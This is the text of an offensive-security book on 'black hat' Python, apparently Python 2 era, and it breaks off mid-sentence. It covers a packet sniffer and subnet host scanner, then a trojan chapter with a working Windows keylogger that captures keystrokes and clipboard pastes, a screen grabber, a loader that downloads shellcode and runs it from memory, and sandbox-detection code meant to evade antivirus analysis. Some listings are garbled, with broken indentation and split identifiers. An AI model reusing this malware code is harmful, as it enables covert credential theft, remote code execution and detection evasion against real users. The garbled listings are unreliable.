BLACK HAT PYTHON PROGRAMMING

The Insider Guide to Black Hat Python Programming Tactics

RICHARD OZER

Black Hat Python Programming: The Insider Guide to Black Hat Python Programming Tactics

Richard Ozer

All rights reserved. ISBN: 1985889951 ISBN-13: 978-1985889958

Contents

Introduction

Python is not only one of the easiest languages to learn, it is also the go-to language for those that are involved in information security and for hackers the world over. You might look at the language and think that you are reading something from another planet, given that the tools used in Python include all sorts of weird and wonderful proxies, fuzzies, and exploits. There are frameworks for exploits written in Python, like CANVAS and tools such as Sulley and PyEmu, along with many others, some of which you will meet here in this guide.

If you want to learn how to protect your system then you need to learn how to hack and most of the hackers that want to infiltrate your network are going to be black hat hackers – the bad boys of the hacking world. If you don't know how they work, you can't possibly make your own systems secure so, for the purposes of this guide, you are going to become a black hat Python hacker.

You will have plenty of opportunities to practice skills in packet sniffing, ARP
poisoning, stealing someone email credentials and key logging, among many other topics. By the end, you will understand how a hacker works and what you need to do to keep yourself safe. I am, of course, assuming that you are reasonably well versed in Python
programming. If not, please go away and learn the basics before you even attempt to start learning how to hack.

Disclaimer – The content in this guide is for informational purposes only and is not to be used for malicious purposes. Such use could result in heavy fines and/or prison time if you are caught.

Chapter One: Setting Up Your Environment - Kali Linux and WingIDE

This is the important but not so much fun bit of the guide – setting up the environment in which you will write your Python code. You will be installing a Kali Linux virtual machine on your computer, followed by WingIDE, probably the best Python IDE ever developed. It doesn't matter what operating system you are running because you are going to install Kali via an ISO image on a USB drive and because it is a virtual machine, it will run alongside any operating system. Before you begin, download and install a program called VMWare Player.

How to Install Kali Linux

Kali Linux succeeded Backtrack Linux which was originally designed as an operating system for penetration testing by Offensive Security. It already has a lot of tools built into it and, because it is based on the Debian Linux OS, there are plenty of other libraries and tools that you can add in as well.

The first step is to download a Kali Virtual Machine image so go to www.images.offensivesecurity.com and download the Kali Linux VM image for Python 2.7.2to your computer.

Next, you should decompress it and then, to open it though VMWare Player, simply double—click on the image.

You will be asked to sign in so the default credentials are root (username) and toor (password). This will open the Kali desktop for you.

Now, we are going to be using Python 2.7 for this – I know that things have moved on but many users are still on the lower version right now. Any other version may break the coding in this guide so stick with what is recommended for now.

So, to make sure we get it right, open
applications>accessories>terminal
This will open a shell; at the command prompt, type the following:

```
root@kali:~# python --version
Python 2.7.3
root@kali:~#
```

Provided you downloaded the right image, you should find that Python 2.7 is installed automatically. Next, we need to add in a few packages that will be useful to you, namely pip and easy_install. These are similar to apt package manager in that they help you to install the Python libraries directly, without the need to download, unpack and then install them manually. To install these, at the command prompt in the shell, type in:

```
root@kali:~#: apt-get install pythonsetuptools python-pip
```

that completes the setup of your virtual machine for hacking, now you need to install WingIDE.

How to Install WingIDE

WingIDE is one of the best IDE's ever
developed for python, containing fantastic debugging tools, alongside all the basic functions you would expect from an IDE. To download WingIDE, go to www.wingware.com and download the version that you want. You can download a free trial of the commercial version – recommended – as it will give you some idea of what to expect.

Ensure that you download the 32-bit WingIDE .deb package and save it to your computer. Open a new terminal and run this command:

Open a new terminal and run this command:

```
1_i386.deb
```

WingIDE will be installed. Should you see any errors on installation, it is likely that there are unmet dependencies so run the following command to fix it:

```
root@kali:~# apt-get -f install
```

Open WingIDe and then open a new Python file. You should be at a screen that has an editing window at the top left and a series of tabs along the bottom. To give you some idea of how to use WingIDE, you are going to write a very simple piece of code o type this into the editor:

```
def sum(number_three,number_four):

number_three_int =
convert_integer(number_three)
number_four_int =
convert_integer(number_four)

result = number_three_int + number_four_int
return result
def convert_integer(number_string):
converted_integer = int(number_string)
return converted_integer
answer = sum("3","4")
```

This is a dead simple example but it’s a good way of showing you how to make things easy for yourself using WingIDE. Save that file with any name and then click on the menu for Debug; next, click on Select. Now we are going to set a breakpoint so go to the code line that says:

```
return converted_integer
```

Either press F9 or click on the left margin and a small red dot will show up. Press F5 to run the script and you should see that it stops executing where the breakpoint is – that red dot.

Now click on the tab for Stack Data. This tells you all sorts of information, including what state the global and local variables are in at the moment of the breakpoint. This allows for more advanced debugging, letting you look at the variables while the code is executing so you can see if there are any bugs. Clicking on the drop-down bar will also show you the call stack and the name of the function that called the one you are in at that moment.

You should be able to see now that you were in the function called sum on the third line of your script when you called convert_integer. This is a useful thing to know, especially where you have function calls that are recursive or functions that may be called from multiple places.

Let’s just take a quick look at the Debug Probe Tab. Click on it and you will go into a shell that executes in the context of the time the breakpoint was reached. This allows you to look at the variables and modify them if needed; you can also test ideas out by writing code and seeing how it works. If you have any modifications to make, do them here and then press F5 to continue executing the script.

This isn’t a complicated example but it does show you some of the best WingIDE features that you will need to know. Ready? Let’s begin hacking!

Chapter Two: Let’s Get Sniffing

Thanks to www.stackoverflow.com for help with the code examples

Network packet sniffing, that is! A network sniffer is designed to let you see which packets are coming and going from the machine you are targeting. Because of this, they are incredibly practical for using before exploitation and afterward. Sometimes, you will use something called Wireshark, the top tool for monitoring traffic, or you may want to use Scapy, a Python tool – we'll be looking at this later. However, there is always a good reason to know how to put a sniffer together for viewing and decoding traffic on the network. Plus, you will learn more about how packets get sent and received. Mostly you will use raw sockets as a way of accessing the lower levels of information on the network, such as the raw ICMP and IP headers. For now, we are interested in the IP layer or above.

To start with, we will take a quick look at how we go about the discovery of an active host on a segment of the network.

UDP Host Discovery Tools

Ultimately, the goal of the sniffer is to carry out the discovery of a UDP host on the network you are targeting. An attacker wants to see any potential targets that are on the network so that they know where to focus their reconnaissance and exploitation attempts.

We are going to use a behavior that is known to most operating systems when closed UDP ports are handled to see if a particular IP address has an active host on it. When UDP datagrams are sent to closed ports on hosts, the host will usually return an ICMP message that tells us the port can't be reached. The message will also indicate that there is a live host – if we didn't get that message, we would reasonably assume that there wasn't one.

What is important is that the UDP port we choose is not liable to be used and, to get the best coverage, we should probe multiple ports to make sure that we are not targeting a UDP service that is active.

Why do we use UDP? Simply because we want to keep things low-key. This is just a basic scanner that will be doing the bulk of the decoding and analysis work in the protocol headers. We are going to implement the host for Linux and Windows to ensure that we can use it in an enterprise environment as well.

Ready? Let's get building!

The process of accessing a raw socket in Linux is a little different to Windows but we want our sniffer to work on multiple platforms. First, we will create the socket object and then we will decide on the platform. If we pick Windows, we need extra flags to be set through a socket IOCTL – input/output control – so that we can go into network interface in promiscuous mode. In the first example, all we are going to do is set up the raw sniffer, read a single packet in and then quit it:

```
import socket
import os
# host we want to listen on
host = "192.168.0.196"
# create your raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# We want to capture the IP headers
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# If we use Windows, we must send an IOCTL
# so that promiscuous mode can be set up
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
# read one packet in
print sniffer.recvfrom(65565) # if we use Windows, we must now turn promiscuous mode off
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
```

We began by building the socket object, adding in the parameters that we need to use for sniffing the packets. Where Windows differs from Linux is that it lets us sniff all the packets coming in, irrespective of the protocol, while Linux dictates that we must specify if we sniff ICMP. Note, we are in promiscuous mode and this requires that on Windows, you have administrator privileges or are signed as root user on Linux. What promiscuous mode does is allows us to sniff every packet that is seen by the network card, even if they are not destined to go to your host.

Next, we set up the socket option that holds the IP headers from the packets that have been captured. Then we must determine whether we are using

Windows or not and if we are, we must do the extra step of sending the network card driver an IOCTL so that promiscuous mode is enabled. If you are using a virtual machine to run Windows, you will more than likely see a notification that tells you the guest system wants to enable this mode – if you do, obviously you must allow it.
We can now get started on the sniffing – all we have done for now is printed the whole raw packet without decoding it. This is purely to make sure the core code of the sniffer is working as it should do. Once we have sniffed one packet, we then test for Windows again and make sure that we disable promiscuous mode before we come out of the script.

Practical Example
On Linux, open a new terminal or, on Windows a new cmd.exe shell. Run this code:

```
python sniffer.py
```

Open another shell or terminal and pick the host you want to ping. For this, we will ping a host called nostarch.com. Run this code:

```
ping nostarch.com
```

Back to the first windows where the sniffer was executed, you should now see an output, somewhat garbled, that looks something like this:

```
('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\ x0e\xc0\xa8\x00\xbb\xc0\xa8\x0
x00\x08nostarch\x03com\x00\x00\x01\x00\x0 1', ('192.168.0.187', 0))

0\x01\x04\x01\x005\x00&\xd6d\n\xde\x01\x0 0\x00\x01\x00\x00\x00\x00\x00\
```

As you can see, the initial ICMP ping request that was going to nostarch.com has been captured.

Decoding the IP Layer

As it is, the sniffer will receive all IP headers together with any protocol that is higher, like UDP, TCP, and ICMP. All the information is in the binary format and isn't all that easy to understand. As such, we need to decode that IP bit of the packet so that we can get the
information we want, like the protocol type, the source IP address and the destination IP address.

We are going to decode the whole IP header, with the exception of the Options field and we are going to pull out the protocol type along with the source and the destination IP addresses. We can use a Python module called ctypes to come up with a structure that gives us a nice format for handling the header and its fields. Before we do that, we need to have a look at the IP header with C definition:

```
struct ip {
u_char ip_hl:4;
u_char ip_v:4;
u_char ip_tos;
u_short ip_len;
u_short ip_id;
u_short ip_off;
u_char ip_ttl;
u_char ip_p;
u_short ip_sum;
u_long ip_src;
u_long ip_dst;
}
```

That gives you a good idea of how c data types are mapped to the values of the IP headers. It can be quite useful to use C code for reference when you are translating to a Python object because it makes the conversion to pure Python very easy. One word of note – the ip_v and ip_hl fields in the code above have some notation added - :4. This tells us that these are classified as bit fields and each is 4 bits wide. To ensure that these fields map the right way we will be using pure Python solutions, negating the need to manipulate the bits.

Now we are going to implement the IP decoding into sniffer_ip_header_decode.py, like this:

```
import socket
import os
import struct
from ctypes import *
# host we are going to listen on
host = "192.168.0.187"
# the IP header
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
def __new__(self, socket_buffer=None):
return
self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# map the protocol constants to the right names
self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
# IP addresses that are human readable

self.src_address =
socket.inet_ntoa(struct.pack("<L",self.sr c))

self.dst_address =
socket.inet_ntoa(struct.pack("<L",self.ds t))

# protocol that is human readable
try:
self.protocol =
self.protocol_map[self.protocol_num]
except:

self.protocol = str(self.protocol_num) # you should recognize this from the last example

if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in one packet
raw_buffer = sniffer.recvfrom(65565)[0]
# use the first 20 bytes from the buffer to create the IP header

ip_header = IP(raw_buffer[0:20]) print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_

# print the protocol and the hosts that were detected
address, ip_header.dst_address)
```

```
# handle CTRL-C
except KeyboardInterrupt:
# if we use Windows, we need to turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
```

First, we defined the Ctype structure for mapping the 20 bytes from the buffer into a nice neat IP header. As you see, all the fields from the C structure from above match nicely with the identified fields. The IP class has a __new__ method that takes the raw buffer, or what comes in from the network and use it to from the structure. When we call the __init__ method, _new_ has already complete the buffer processing so, in __init__, all we are doing is a little housekeeping so that the output for the IP addresses and the protocol is human readable.

Next, we add the logic so that our IP structure can continually read the packets in and decode the information. First, the packet must be read in and then the first 20 bytes are passed to initialize the IP structure. Next, the information that we captured is printed out.

Practical Example

Let’s try it. We are going to use the previous code to see what information we are getting from the raw packets. Open your terminal or shell and run this command:

```
python sniffer_ip_header_decode.py
```

Windows is quite chatty compared to Linux and you will more than likely see an immediate output. Test the script by going to Internet Explorer and opening www.google.com. You should see something like this as the output:

```
Protocol: UDP 192.168.0.190 ->
192.168.0.1
Protocol: UDP 192.168.0.1 ->
192.168.0.190
Protocol: UDP 192.168.0.190 ->
192.168.0.187
Protocol: TCP 192.168.0.187 ->
74.125.225.183
Protocol: TCP 192.168.0.187 ->
74.125.225.183
```

```
Protocol: TCP 74.125.225.183 ->
192.168.0.187
Protocol: TCP 192.168.0.187 -> 74.125.225.183
```

If you are using Linux, then you should ping google.com and you should see something along these lines:

```
Protocol: ICMP 74.125.226.78 ->
192.168.0.190
Protocol: ICMP 74.125.226.78 ->
192.168.0.190
Protocol: ICMP 74.125.226.78 ->
192.168.0.190
```

Already you can see the difference, in that Linux is limited in what we see but, because this is a scanner for host discovery, this is OK. To decode the ICMP messages, we will use the same technique that we did with the IP header decoding.

Decoding ICMP

Now we know how to decode IP layers from packets we have sniffed, we need to move on to decoding the ICMP response that we get when we send UDP datagrams to a closed port. The ICMP messages can be very different in what their content is but every message will have the same three elements – type field, code field and a checksum field. The first two will inform the receiver host of the ICMP message type which then goes on to the correct way of decoding it. With our scanner, we are looking out for a type of value 3 along with a code of value 3. This corresponds directly with the ICMP message class called Destination Unreachable; the code value is indicative that we have a Port Unreachable error.

In a Destination Unreachable message, the initial 8 bits indicate the type and the next 8 are the ICMP code. Note that, when an ICMP message is sent by a host, the originating message IP header is included in it.

Now we are going to add in some code to the sniffer to enable us to decode the ICMP packets. Save your last file as
sniffer_with_icmp.py and the add in this piece of code to it:

```
-- snip
```

```
--class IP(Structure):
-- snip--
class ICMP(Structure):
_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
("unused", c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(self, socket_buffer):
return
self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer):
pass
-- snip-
print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_
address, ip_header.dst_address)
# we want it if it is ICMP
if ip_header.protocol == "ICMP":
# calculate where the ICMP packet begins
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
# create the ICMP structure

icmp_header = ICMP(buf) print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.

code)
```

All this piece of code has done is created an ICMP structure beneath the IP structure we already made. When the loop that receives the main packets detects that an ICMP packet has been received, the offset is calculated in the raw packet, where the body of the IMCP resides and then the buffer is created – lastly, the type and code fields are printed out.

The calculation for length is based on the ihl field for the IP header, which shows us how many 32-bit words are in the IP header. Each 32-bit word is a 4-byte chunk so if we multiply the field by 4, we will know what size the IP header is and, as a result, we will also know when the following network layer starts.

If we run this code using a normal ping test, you should now see an output that looks something like this:

```
Protocol: ICMP 74.125.226.78 ->
192.168.0.190
```

```
ICMP -> Type: 0 Code: 0
```

This tells us that the ICMP echo or the ping response have been received and decoded properly.

Now, we can implement the final piece of logic that sends the UDP datagrams and then interprets what comes back. We will add the netaddr module which will allow us to use our host discovery scan to go over the whole subnet. Save your script called sniffer_with_icmp.py with the new name of scanner.py and then add in this code:

```
import threading
import time
from netaddr import IPNetwork,IPAddress
-- snip--
# the host we want to listen on
host = "192.168.0.187"
# subnet to target
subnet = "192.168.0.0/24"
# this is the magic string we will check the ICMP messages for
magic_message = "PYTHONRULES!"
# this pushes out the UDP datagrams
def udp_sender(subnet,magic_message):

time.sleep(5)
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

for ip in IPNetwork(subnet):
try:
sender.sendto(magic_message,("%s" % ip,65212))
except:
pass
-- snip--
# start to send the packets

t =
threading.Thread(target=udp_sender,args=( subnet,magic_message))

t.start()
-- snip--
try:
while True:
-- snip--
#print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.

code) if icmp_header.code == 3 and icmp_header.type == 3:

# now you should check for the TYPE 3 and CODE
# ensure the host is in your target subnet
if IPAddress(ip_header.src_address) in IPNetwork(subnet):
# ensure the magic message is included
if raw_buffer[len(raw_buffer)len(magic_message):] ==
magic_message:
print "Host Up: %s" % ip_header.src_address
```

This is quite an easy bit of code to understand. We have defined a string signature that allows us to test the UDP packets that were sent originally for a response. The function called udp_sender takes a subnet that we have specified at the start of the script in, it will iterate over every IP address on the subnet and chuck UDP datagrams out to them.

In the main part of the code, just before we get to the main loop for decoding packets, we put the udp_sender function into a separate thread to make sure that our ability to sniff out a response has not been interfered with. If the ICMP messages that we expect to see are detected, we will check to see that the ICMP response comes from somewhere in the target subnet. Then, we carry out a final check to ensure that the magic string is included in the ICMP response. If everything behaves as it should, we can print the source IP address, the place the ICMP message came from originally.

Let’s try this.

Practical Example

Now we are going to run the scanner against our local network – Windows or Linux will do because the result will be identical. For me, the local machine IP address was 192.168.0.187 so my scanner is set to hit 192.168.0.0/24 – set yours according to your network. If you find that your output is overly noisy when the scanner runs, all you need to do is comment out every print statement with the exception of the final one – this is the one that informs you of the hosts that respond.

The netaddr Module

Your scanner will make use of netaddr, a thirdparty library which lets you feed subnet masks in, like 192.168.0.0/24, knowing that the scanner will handle it in the right way. Provided you installed the setup tools package as specified in chapter 1, all you need to do is run the following command:

```
easy_install netaddr
```

This module makes working with addressing and subnets very easy. For example, simple tests may be run using the IPNetwork object, much like the following:

```
ip_address = "192.168.112.3"
if ip_address in
IPNetwork("192.168.112.0/24"):
print True
```

Or you could create iterators if you wanted to send one or more packets to a whole network:

```
for ip in IPNetwork("192.168.112.1/24"):
s = socket.socket()
s.connect((ip, 25))
# send the mail packets
```

This will simplify things in your programming no end when you are dealing with whole networks and it is also well-suited to the tool we use for host discovery. Once you have installed it, you can start:

```
c:\Python27\python.exe scanner.py Host Up: 192.168.0.1
Host Up: 192.168.0.190
Host Up: 192.168.0.192
Host Up: 192.168.0.195
```

You can perform a quick scan and get the results back quickly and you can also expand on what we have covered in this chapter to decode UDP and TCP packets and build extra tools around it.

Chapter Three: A few Trojan Tasks

Thanks to www.gist.github.com for help with the code examples and from www.nostarch.com

This is for Windows systems only.

When a trojan is deployed, you will want to use it for a few different tasks, such as keylogging, taking screenshots or executing a shellcode to provide tools such as Metasploit and CANVAS with an interactive session. For this chapter, we will be taking a closer look at these tasks and finish off by

looking at a few techniques for sandbox detection that will tell you whether you are running in a forensic or an anti-virus sandbox.
These modules are dead simple to modify and will work very well inside of our Trojan framework. However, every task and technique comes with its own set of challenges and the strong possibility that an antivirus solution or the end user will catch you out. So, the best way to do it is to model your target carefully once the trojan has been implanted – this will let you test out the modules in your own lab before you attack a live target. We will start by creating a very simple keylogger.

Keylogging and Keystrokes

Keylogging is an old trick and is still used today with varying stealth levels. Hackers continue to use it because it is one of the most effective methods to capturing information that is sensitive, like credentials or even conversations.

PyHook is one of the best Python libraries for this, allowing you to capture every single keyboard event. It uses SetWindwsHookEx a native function in Windows, allowing you to install a function that is user-defined and that will be called for specific events in Windows. When we register that hook for all keyboard events, we can gather in all of the key presses from a target. But, we don’t just want those keystrokes; we also want to know the application or process that the keystrokes are for so that we can work out what could be username and password combinations or gather in any other useful information.

PyHook looks after the low-level programming, leaving the logic of the actual keylogger down to the programmer. Let’s get into keylogger.py and pop some of the essentials into it:

```
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
```

```
# get a handle over to the foreground window
hwnd = user32.GetForegroundWindow()
# locate the process ID

pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))

# make sure you store the current process ID
process_id = "%d" % pid.value
# get the executable
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,b yref(executable),512)
# next read the title
window_title =
create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
# print the header out only if you are in the right process
print
print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_.
title.value)
print # close the handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
```

What we did here was add in a few helper variables along with a function that will be used to capture the window that is active and the process ID associated with it. First, we call GetForeGroundWindow and this will return a handle back to the active window on the target computer desktop. Then that handle gets passed to the function called GetWindowThreadProcessID for the purpose of retrieving the process ID for that window.

The process is opened and, with the help of the resulting handle for the process, we can locate the executable process name. Lastly, we grab the full text of the title bar on the window using the function called GetWindowTextA. At the end of the function, the information is all output into a header, allowing us to see the keystrokes that go with each window and process.

The next step is to add in the meat of the code:

```
def KeyStroke(event):

global current_window
# make sure the target changed windows
```

```
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if a standard key was pressed
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# if it is [Ctrl-V], get the value on the clipboard
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value =
win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
# pass the execution to next registered hook
return True
# create a hook manager and register it
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# register the hook and execute it forever
kl.HookKeyboard()
pythoncom.PumpMessages()
```

That, in a nutshell, is all that we need. The PyHook HookManager has been defined and the event called KeyDown is bound to the function we defined called KeyStroke. Next, we tell PyHook that we want all keypresses hooked and execution to continue. Whenever a key is pressed on the target keyboard, the function called KeyStroke is automatically called – this has just one parameter, which is an event object.

The very first thing to do here is check to see if the target has changed windows and, if they have, we must retrieve the name of the new window and its associated processes. Then we look at the retrieved keystrokes for that window and, if they all into the ASCII-printable range, we will print it. If on the other hand, it is a modifier, maybe the ALT, CTRL or SHIFT key, or any other key that is not standard, we get the name of the key from the event object.

We will also be looking to see if the user has carried out a paste operation – if they have, we get rid of everything on the clipboard. Lastly, the function called callback will return True so that the next hook can process the next event.

Let's see it in action:

Practical Example

Testing the keylogger is simple, all you do is run it and then begin to use Windows as you would normally. Open your web browser, use the calculator, open any application and then see what the results are in your terminal window:

```
C:\> python keylogger-hook.py
[ PID: 3836 - cmd.exe -
C:\WINDOWS\system32\cmd.exe -
c:\Python27\python.exe key logger-hook.py ]
t e s t
[ PID: 120 - IEXPLORE.EXE - Bing - Microsoft Internet Explorer ]
w w w . n o s t a r c h . c o m [Return]
[ PID: 3836 - cmd.exe - C:\WINDOWS\system32\cmd.exe -
c:\Python27\python.exe keylogger-hook.py ]
[Lwin] r
[ PID: 1944 - Explorer.EXE - Run ]
c a l c [Return]
[ PID: 2848 - calc.exe - Calculator ]
[Lshift] + 1 =
```

Note that we input the word "test" into the window where the keylogger was being run. We then opened internet explorer went to the website called www.nostarch.com and ran a few other apps. It all worked perfectly, making this keylogger an excellent addition to your Trojan trick collection.

Next, we will look at screenshots.

Taking Screenshots

Pretty much all frameworks for penetration testing and most malware will have the capability to capture screenshots from the target. With this, they can capture frames of video. Images, and shots of other sensitive information that may remain hidden with a keylogger or a packet capture tool. For this, we can make use of PyWin32, a package that lets us call the Windows API to get the screenshots.

To capture a screenshot, the Windows GDI (Graphical Device Interface) is used by the tool to determine properties such as the screen size, and to get the image itself. Some software for screenshots only lets you get shots of the window that is active at the time or the application in use but we will want to get the whole screen. So, we are going to open screenshotter.py and add in this code:

```
import win32gui
import win32ui
import win32con
import win32api
# get a handle to the main desktop window
hdesktop = win32gui.GetDesktopWindow()
# determine the size of all the monitors in pixels

width =
win32api.GetSystemMetrics(win32con.SM_CXV IRTUALSCREEN)
height =
win32api.GetSystemMetrics(win32con.SM_CYV IRTUALSCREEN)

left =
win32api.GetSystemMetrics(win32con.SM_XVI RTUALSCREEN)

top =
win32api.GetSystemMetrics(win32con.SM_YVI RTUALSCREEN)

# create a device context
desktop_dc =
win32gui.GetWindowDC(hdesktop)
img_dc =
win32ui.CreateDCFromHandle(desktop_dc)
# create a memory based device context
mem_dc = img_dc.CreateCompatibleDC()
# create a bitmap object
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# copy the screen into our memory device context
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# save the bitmap to a file
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
# free our objects
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandl e())
```

So, what does this do? First, we have gotten a handle for the whole desktop and this includes the area that is viewable across all monitors on the target. Then, we work out the screen size so we know how big the screenshot needs to be. Next, we use a function call to GetWindowDC to come up with a device context and pass a handle in to our desktop.

The next step is to come up with a device context that is memory-based; this is where the image capture will be stored until the bitmap bytes can be stored in a file. Next, a bitmap object is created that is set to our desktop device context. The function called
SelectObject is called to set the memory device context to point to the bitmap object that we want to capture. We want a bit-for-bit image copy of the image on the desktop and we do this by using the function called BitBlt – the image we capture is stored in the memory context. You can think of this in terms of a memory call for Graphical Device Interface objects.

The last step is to drop that image down to disk. This is a very easy script to test – simply run the program from your shell command prompt and look for the screenshot.bmp file in C:\Windows\Temp.

That completes screenshots; let's look at shellcode execution.

Pythonic Shellcode Execution

At some point or other, you might want to have some interaction with a target machine or you found a fantastic module in an exploit or penetration testing framework that you want to use. Typically, although not all the time, this will require a shellcode execution of some kind.

To execute a raw shellcode, all we need to do is make a buffer in the memory and, with the ctypes module, we make a function that points to the memory; lastly, we carry out a function call. We are going to get the shellcode from a web server that is in base64 format by using urllib2 and then we will execute the shellcode.

Open shell_exec.py and input this code

```
import urllib2
import ctypes
import base64
# get the shellcode from the web server
url =
"http://localhost:8000/shellcode.bin"
response = urllib2.urlopen(url)
# decode the shellcode from base64
shellcode =
base64.b64decode(response.read())
# create a buffer in memory
```

```
shellcode_buffer =
ctypes.create_string_buffer(shellcode, len(shellcode))

# create a function pointer to our shellcode

shellcode_func =
ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE

(ctypes.c_void_p))
# call our shellcode
shellcode_func()
```

We started by getting the shellcode and then allocated a specific buffer that will contain the shellcode once it has been decoded. To cast the buffer so it acts the same way as any other function pointer, we use the ctypes cast function – this will allow us to call the shellcode in the same way that you would call any function in Python. Lastly, the function pointer is called, making the shellcode execute.

Practical Example

You have two choices here – either use a penetration testing framework that you like, perhaps Metasploit or CANVAS or you can hand code the shellcode. For this example, we are using CANVAS and some Windows x86 callback shellcode. The raw shellcode should be stored (do not store the string buffer!) in a file called /tmp/shellcode.raw on Linux and then the following script run:

```
johnnie$ base64 -i shellcode.raw > shellcode.bin
johnnie$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

All we have done here is encoded the shellcode using base64 on the command line in Linux. Next, we make the current working directory act as the web root by using the
SimpleHTTPServer module. This way, all file requests will be automatically served. Now you can drop the script called shell_exec.py into the Windows VM and it can be executed, showing you something like this in your Linux window:

```
192.168.112.130 - - [12/Jan/2014
21:36:30] "GET /shellcode.bin HTTP/1.1"
200 -
```

This tells us that the script has managed to get the shellcode out of the web server that was set up with SimpleHTTPServer. If it all goes as it should, you will get a shell back into the framework and you will get a message box, or whatever you compiled that shellcode for.

Sandbox Detection

More and more we are seeing sandboxing used by antivirus solutions so that suspicious code, programs, applications, whatever, can have their behavior studied and determined. Sometimes the sandbox will run on the target machine or, more commonly these days, on the network perimeter. Wherever it is, we need to work hard at not showing our hand to whatever defense the target has in place. There are a few ways we can find out if the trojan we are using is being executed in a sandbox so what we are going to do is watch the target machine for any recent input by the user, such as mouse clicks and keystrokes.

Then we will include a little simple intelligence that will check for double-clicks, mouse clicks and keystrokes. The script will also look to see if any input is being sent repeatedly by the sandbox operator, as a way of attempting to respond to basic detection methods. We will look at when the user last interacted with the target machine and compare it to the length of time that the computer has been running – this will give us a reasonable idea of whether our script has been contained in a sandbox.

Typically, a computer has multiple interactions at certain points during the day after booting up but, when it is in a sandbox environment, there will be no user interaction – the
sandboxes tend to be used as automated techniques for malware analysis.

Then we will be able to decide whether the script should carry on executing or whether we should stop. To begin, open sandbox_detect.py and add in this script:

```
import ctypes
import random
import time
import sys
user32 = ctypes.windll.user32
```

```
kernel32 = ctypes.windll.kernel32
keystrokes = 0
mouse_clicks = 0
double_clicks = 0
```

What we have here are the main variables that we will use to track how many keystrokes, double-clicks, and mouse clicks there are. Later, we will examine the timing of the mouse clicks as well.

For now, we will create some code and test it to try and detect the length of time the target system has been running for and when the last user input was. Add this function to the script:

```
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", ctypes.c_uint),
("dwTime", ctypes.c_ulong)
]
def get_last_input():
struct_lastinputinfo = LASTINPUTINFO()
struct_lastinputinfo.cbSize =
ctypes.sizeof(LASTINPUTINFO)

# retrieve last input registered
user32.GetLastInputInfo(ctypes.byref(stru ct_lastinputinfo))

# now work out how long the machine has been running for
run_time = kernel32.GetTickCount()
elapsed = run_time -
struct_lastinputinfo.dwTime
print "[*] It's been %d milliseconds since the last input event." %
elapsed
return elapsed
# TEST CODE REMOVE AFTER THIS PARAGRAPH!
while True:
get_last_input()
time.sleep(1)
```

The timestamp will be held in the structure called LASTINPUTINFO that we defined. This timestamp will show us when the last input was on the system – do be aware that the variable called cbSize must be initialized the structure size before the call is made.

Next, GetLastInputInfo function is called and this will populate the field called
struct_lastinputinfor.dwTime with the relevant timestamp. Then we need to

work out the length of the time that the system has already been running for and we do this by calling the function called GetTickCount. The final little bit of code is nothing more than a test code that lets you run the script, then perform a
keystroke or a mouse-click to see the code working.

Next, we are going to define the value
thresholds for the user input. First though, keep in mind that the total length of time that the system has run for and the last input by the user can be highly relevant depending on the implantation method you are using. For example, if you are using a phishing tactic to implant, the target user most likely had to do something, like press a key or click on
